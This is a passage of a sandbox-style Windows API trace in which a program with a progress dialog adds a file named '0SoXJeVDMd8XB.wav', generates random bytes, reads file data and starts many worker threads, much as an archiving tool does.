lpString="adding") returned 1 [0056.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0056.769] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="") returned 0 [0056.769] SetWindowTextW (hWnd=0x10216, lpString="0SoXJeVDMd8XB.wav") returned 1 [0056.770] GetTickCount () returned 0xa65025 [0056.770] UpdateWindow (hWnd=0x1020e) returned 1 [0056.770] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 1 [0056.770] GetMessageW (in: lpMsg=0x1bd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd650) returned 1 [0056.770] GetFocus () returned 0x10232 [0056.770] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd650) returned 0 [0056.770] GetKeyState (nVirtKey=16) returned 0 [0056.770] TranslateAcceleratorW (hWnd=0x1020e, hAccTable=0x10219, lpMsg=0x1bd650) returned 0 [0056.770] TranslateMessage (lpMsg=0x1bd650) returned 0 [0056.770] DispatchMessageW (lpMsg=0x1bd650) returned 0x0 [0056.770] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b20f0) returned 1 [0056.771] CryptGenRandom (in: hProv=0x2b20f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0056.771] CryptReleaseContext (hProv=0x2b20f0, dwFlags=0x0) returned 1 [0056.771] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x14, wMilliseconds=0x10e)) [0056.771] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0056.771] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=13211114475) returned 1 [0056.771] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xc38) returned 0x35baa0 [0056.771] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xd243, lpOverlapped=0x0) returned 1 [0056.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x379d283, nNumberOfBytesToRead=0xf2dbd, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x379d283*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0056.781] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0056.781] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0056.781] GetFocus () returned 0x10232 [0056.781] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 0 [0056.781] GetKeyState (nVirtKey=16) returned 0 [0056.781] TranslateAcceleratorW (hWnd=0x1020e, hAccTable=0x10219, lpMsg=0x1bd5b0) returned 0 [0056.781] TranslateMessage (lpMsg=0x1bd5b0) returned 0 [0056.781] DispatchMessageW (lpMsg=0x1bd5b0) returned 0x0 [0056.781] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0056.781] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f850 [0056.781] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f8b0 [0056.781] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x293f8b0, Size=0x48) returned 0x34e0c0 [0056.781] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x359c40 [0056.781] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f8b0 [0056.781] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x293f8b0, Size=0x48) returned 0x34e1b0 [0056.781] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x359c40 | out: hHeap=0x290000) returned 1 [0056.781] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e0c0 | out: hHeap=0x290000) returned 1 [0056.781] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f8b0 [0056.781] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f7c0 [0056.781] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f7c0 | out: hHeap=0x290000) returned 1 [0056.781] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f8b0 | out: hHeap=0x290000) returned 1 [0056.782] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x293f850, Size=0x48) returned 0x34e0c0 [0056.782] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e0c0, Size=0x7a) returned 0x36e5e0 [0056.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e1b0 | out: hHeap=0x290000) returned 1 [0056.782] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36e5e0 | out: hHeap=0x290000) returned 1 [0056.782] GetTickCount () returned 0xa65025 [0056.782] GetLastError () returned 0x0 [0056.782] SetLastError (dwErrCode=0x0) [0056.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0056.782] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0056.782] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0056.782] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0056.782] ShowWindow (hWnd=0x1021a, nCmdShow=9) returned 1 [0056.782] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0056.782] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=13212280596) returned 1 [0056.783] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0056.783] GetTickCount () returned 0xa65025 [0056.783] GetLastError () returned 0x0 [0056.783] SetLastError (dwErrCode=0x0) [0056.783] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0056.783] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc130, nMaxCount=2560 | out: lpString="") returned 0 [0056.783] SetWindowTextW (hWnd=0x10220, lpString="00:00:00") returned 1 [0056.783] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0056.783] GetTickCount () returned 0xa65035 [0056.783] GetDlgItem (hDlg=0x1020e, nIDDlgItem=162) returned 0x10222 [0056.783] ShowWindow (hWnd=0x10222, nCmdShow=0) returned 1 [0056.783] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0056.783] ShowWindow (hWnd=0x10224, nCmdShow=0) returned 1 [0056.784] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0056.784] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc130, nMaxCount=2560 | out: lpString="") returned 0 [0056.784] GetTickCount () returned 0xa65035 [0056.784] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x299d670) returned 0x0 [0058.866] TaskbarList:ITaskbarList3:SetProgressState (This=0x299d670, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0058.866] TaskbarList:ITaskbarList3:SetProgressValue (This=0x299d670, hwnd=0x1020e, ullCompleted=0xd243, ullTotal=0x954fe3) returned 0x0 [0058.867] TaskbarList:IUnknown:Release (This=0x299d670) returned 0x0 [0058.867] GetLastError () returned 0x2 [0058.867] SetLastError (dwErrCode=0x2) [0058.867] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0058.867] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0058.867] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString="") returned 0 [0058.867] SetWindowTextW (hWnd=0x1022e, lpString=" 0%") returned 1 [0058.868] GetLastError () returned 0x0 [0058.868] SetLastError (dwErrCode=0x0) [0058.868] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0058.868] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString="") returned 0 [0058.868] SetWindowTextW (hWnd=0x1022a, lpString=" 0%") returned 1 [0058.868] ShowWindow (hWnd=0x10230, nCmdShow=9) returned 0 [0058.868] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0058.869] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0058.869] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0058.869] GetFocus () returned 0x10232 [0058.869] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0058.869] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0058.869] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0058.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb84) returned 0x1d0 [0058.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb7c) returned 0x1d4 [0058.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x9b0) returned 0x1d8 [0058.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb8c) returned 0x1dc [0058.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x9ac) returned 0x1e0 [0058.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb28) returned 0x1e4 [0058.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x5e0) returned 0x1e8 [0058.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x1c4) returned 0x1ec [0058.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x688) returned 0x1f0 [0058.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x238) returned 0x1f4 [0058.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb94) returned 0x1f8 [0058.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x4ac) returned 0x1fc [0058.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x720) returned 0x200 [0058.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x9b8) returned 0x204 [0058.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbb4) returned 0x208 [0058.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbac) returned 0x20c [0058.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbc0) returned 0x210 [0058.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbb0) returned 0x214 [0058.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb74) returned 0x218 [0058.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x9b4) returned 0x21c [0058.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xb70) returned 0x220 [0058.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x704) returned 0x224 [0058.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x5d0) returned 0x228 [0058.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbe0) returned 0x22c [0058.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x374) returned 0x230 [0058.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0x39c) returned 0x234 [0058.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xa48) returned 0x238 [0058.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbe8) returned 0x23c [0058.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbec) returned 0x240 [0058.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbe4) returned 0x244 [0058.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbdc) returned 0x248 [0058.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x359290, dwCreationFlags=0x0, lpThreadId=0x1bd640 | out: lpThreadId=0x1bd640*=0xbd8) returned 0x24c [0058.888] ResetEvent (hEvent=0x1a4) returned 1 [0058.888] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0058.888] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0058.966] ResetEvent (hEvent=0x1a4) returned 1 [0058.966] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0058.966] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0058.978] GetTickCount () returned 0xa651ab [0058.978] GetLastError () returned 0x0 [0058.978] SetLastError (dwErrCode=0x0) [0058.978] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0058.978] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0058.978] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0058.978] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0059.030] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=13437021817) returned 1 [0059.030] GetTickCount () returned 0xa651e9 [0059.030] GetTickCount () returned 0xa651e9 [0059.030] GetTickCount () returned 0xa651e9 [0059.030] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c3c440) returned 0x0 [0059.030] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c3c440, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0059.030] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c3c440, hwnd=0x1020e, ullCompleted=0xd243, ullTotal=0x954fe3) returned 0x0 [0059.030] TaskbarList:IUnknown:Release (This=0x3c3c440) returned 0x0 [0059.030] GetLastError () returned 0x36b7 [0059.030] SetLastError (dwErrCode=0x36b7) [0059.030] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0059.030] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0059.030] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.030] GetLastError () returned 0x36b7 [0059.030] SetLastError (dwErrCode=0x36b7) [0059.030] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0059.030] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0059.030] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0059.031] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.031] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.031] GetFocus () returned 0x10232 [0059.031] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.031] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0059.031] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0059.031] GetFocus () returned 0x10232 [0059.031] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0059.031] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0059.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbd4) returned 0x250 [0059.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x74c) returned 0x254 [0059.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbd0) returned 0x258 [0059.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbcc) returned 0x25c [0059.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbc8) returned 0x260 [0059.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbc4) returned 0x264 [0059.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbf0) returned 0x268 [0059.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x6e4) returned 0x26c [0059.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xb9c) returned 0x270 [0059.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xba0) returned 0x274 [0059.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x5b8) returned 0x278 [0059.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x634) returned 0x27c [0059.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xbf8) returned 0x280 [0059.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xb00) returned 0x284 [0059.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xb04) returned 0x288 [0059.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x97c) returned 0x28c [0059.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x98c) returned 0x290 [0059.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0x9fc) returned 0x294 [0059.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa0c) returned 0x298 [0059.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa1c) returned 0x29c [0059.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa2c) returned 0x2a0 [0059.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa3c) returned 0x2a4 [0059.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa54) returned 0x2a8 [0059.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa64) returned 0x2ac [0059.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa74) returned 0x2b0 [0059.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x13f1ee0bc, lpParameter=0x358f30, dwCreationFlags=0x0, lpThreadId=0x1bd460 | out: lpThreadId=0x1bd460*=0xa84) returned 